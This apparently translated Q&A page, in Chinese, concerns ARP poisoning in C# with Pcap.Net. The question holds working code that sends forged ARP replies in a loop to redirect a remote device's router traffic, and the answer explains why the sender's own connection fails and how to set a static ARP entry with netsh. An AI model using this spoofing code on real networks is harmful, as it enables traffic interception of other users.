C# ARP中毒

C# ARP中毒,c#,network-programming,winpcap,arp,pcap.net,C#,Network Programming,Winpcap,Arp,Pcap.net,我正在使用PcapDotNet创建ARP毒药包,代码如下: using (PacketCommunicator communicator = selectedDevice.Open(100, PacketDeviceOpenAttributes.Promiscuous, 1000)) { while (true) { Packet arp;

我正在使用PcapDotNet创建ARP毒药包,代码如下:

using (PacketCommunicator communicator =
            selectedDevice.Open(100, PacketDeviceOpenAttributes.Promiscuous, 1000)) 
        {
            while (true)
            {
                Packet arp;

                EthernetLayer ethernetLayer = new EthernetLayer
                {
                    Source = new MacAddress("f8:d1:11:05:8c:91"), // My Mac
                    Destination = new MacAddress("5c:da:d4:29:6d:5f"), // Remote device IP
                    EtherType = EthernetType.None, // Will be filled automatically.
                };

                ArpLayer arpLayer = new ArpLayer
                {
                    ProtocolType = EthernetType.IpV4,
                    Operation = ArpOperation.Reply,
                    SenderHardwareAddress = new byte[] { 0xf8, 0xd1, 0x11, 0x05, 0x8c, 0x91 }.AsReadOnly(), // My MAC
                    SenderProtocolAddress = new byte[] { 192, 168, 1, 254 }.AsReadOnly(), // My Router IP

                    TargetHardwareAddress = new byte[] { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }.AsReadOnly(),
                    TargetProtocolAddress = new byte[] { 0, 0, 0, 0 }.AsReadOnly(),
                };

                PacketBuilder builder = new PacketBuilder(ethernetLayer, arpLayer);

                arp = builder.Build(DateTime.Now);

                communicator.SendPacket(arp);
                System.Threading.Thread.Sleep(500);
            }
        }
问题是:我可以毒害远程设备,但我的电脑也失去了互联网(毒害我自己?)。 我想问题可能是我必须指出(以某种方式)我希望我自己的系统不读取我发送的数据包。。。但是我不知道怎么。。。。
有人能解释一下这里的问题是什么吗?

是否有可能您正在为路由器内部IP创建一个有毒记录?如果是这样,那么您的internet连接停止工作也就不足为奇了,因为您的操作系统将无法再向路由器发送任何信息,因此也无法向internet发送任何信息。

将包含网关IP的ARP条目标记为静态(使用正确的硬件地址)。 为此,请以管理员身份在cmd中执行以下操作:

netsh interface ip add neighbors "{Network Device}" {IP Address} {MAC Address}
例如,网络设备是“局域网连接”或“以太网”(不要忘记引号)。要查找您当前使用的网络设备,请执行命令“ncpa.cpl”

如果要删除静态条目,请在cmd中执行以下命令:

netsh interface ip delete neighbors "{Network Device}" {IP Address}

另外,请记住,您可能没有internet的原因之一是因为网络中的所有流量都被重定向到您的主机。由于您的主机没有与路由器相同的功能,因此可能会发生网络拥塞。为了确保您无法访问internet的原因是因为您正在毒害自己,请执行cmd中的命令“arp-a”,并检查路由器的硬件地址。如果硬件地址与主机的硬件地址相同,那么您就是在毒害自己。

仅进行概念测试…创建静态arp条目是一种解决方案,但是否还有其他解决方案?当我尝试进行arp欺骗时,正如你所说,我在欺骗我自己的表,路由器和主机的mac地址是相同的。有没有办法告诉操作系统不要读取伪造的数据包内容?